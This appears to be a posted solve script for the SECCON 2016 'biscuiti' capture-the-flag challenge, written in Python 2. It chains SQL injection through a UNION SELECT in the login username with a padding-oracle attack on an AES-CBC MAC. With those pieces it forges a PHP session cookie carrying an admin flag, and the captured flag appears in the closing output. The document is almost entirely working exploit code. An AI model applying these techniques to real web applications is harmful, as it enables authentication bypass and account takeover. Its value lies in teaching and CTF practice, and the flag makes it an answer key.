Created
December 11, 2016 14:44
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SECCON CTF 2016 quals | biscuiti (Crypto, Web 300pt)
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| from Crypto.Util.number import * | |
| from Crypto.Cipher import AES | |
| import requests | |
| import time | |
| import base64 | |
| def xor(a, b): | |
| return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))]) | |
| def add_pad(s): | |
| block_len = 16 | |
| pad_len = block_len - len(s) | |
| return s + chr(pad_len)*pad_len | |
| def padding_oracle_attack(cipher, plain): | |
| after_dec = "" | |
| for k in range(1, 17): | |
| for i in range(0, 256): | |
| pad = xor(after_dec, chr(k)*(k-1)) | |
| iv = "A"*16 | |
| c = "A"*(16-k) + chr(i) + pad + cipher | |
| assert len(iv + c) == 48 | |
| uname = "' UNION SELECT 'a', '%s" % (base64.b64encode(iv + c)) | |
| url = "http://biscuiti.pwn.seccon.jp/" | |
| payload = payload = {"username":uname, "password":""} | |
| r = requests.post(url, data=payload) | |
| if r.text.find("Hello") < 0: | |
| after_dec = chr(i ^ k) + after_dec | |
| print after_dec.encode("hex") | |
| break | |
| assert len(after_dec) == 16 | |
| prev_cihper = xor(after_dec, plain) | |
| return prev_cihper | |
| uname = "' UNION SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaa', 'hoge" | |
| url = "http://biscuiti.pwn.seccon.jp/" | |
| payload = payload = {"username":uname, "password":""} | |
| r = requests.post(url, data=payload) | |
| jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=") | |
| u = base64.b64decode(jsession) | |
| j = u[:-16] | |
| mac_j = u[-16:] | |
| P = [j[i: i+16] for i in range(0, len(j), 16)] | |
| C = [""]*5 | |
| P[4] = add_pad(P[4]) | |
| C[4] = mac_j | |
| for i in reversed(range(1,5)): | |
| C[i-1] = padding_oracle_attack(C[i], P[i]) | |
| # C = ["88bb7c4931651cb975e48e9008c1a911".decode("hex"), | |
| # "6106b1d3251bea689f161c65d85705eb".decode("hex"), | |
| # "fc04f5ccfdcfed064cf3200eace65257".decode("hex"), | |
| # "d48fa8585b30d06b5b5515659b5f03d8".decode("hex"), | |
| # "a853d2fb8dc8d23b5bca133bb84039d7".decode("hex")] | |
| P[4] = add_pad("b:1;}") | |
| P[2] = xor(xor(P[4], C[3]), C[1]) | |
| uname = "' UNION SELECT 'aaaaaaaaaa%s', 'hoge" % P[2] | |
| url = "http://biscuiti.pwn.seccon.jp/" | |
| payload = payload = {"username":uname, "password":""} | |
| r = requests.post(url, data=payload) | |
| jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=") | |
| u = base64.b64decode(jsession) | |
| j = u[:-16] | |
| mac_j = u[-16:] | |
| P = [j[i: i+16] for i in range(0, len(j), 16)] | |
| C = [""]*5 | |
| P[4] = add_pad(P[4]) | |
| C[4] = mac_j | |
| for i in reversed(range(3,5)): | |
| C[i-1] = padding_oracle_attack(C[i], P[i]) | |
| # C[2] = "3d469b651494c9a3289e00191a6bafb6".decode("hex") | |
| jsession = base64.b64encode('a:2:{s:4:"name";s:26:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:7:"isadmin";b:1;}'+C[2]) | |
| url = "http://biscuiti.pwn.seccon.jp/" | |
| header = {"Cookie":"JSESSION=%s" % jsession.replace("=","%3D")} | |
| r = requests.post(url, headers=header) | |
| print r.text | |
| # <!doctype html> | |
| # <html> | |
| # <head><title>Login</title></head> | |
| # <body> | |
| # Hello aaaaaaaaaaaaaaaaaaaaaaaaaa | |
| # SECCON{049a65dae9b075ebb68dd78d7c8c300f3b532065} | |
| # <div><a href="logout.php">Log out</a></div> | |
| # </body> | |
| # </html> |
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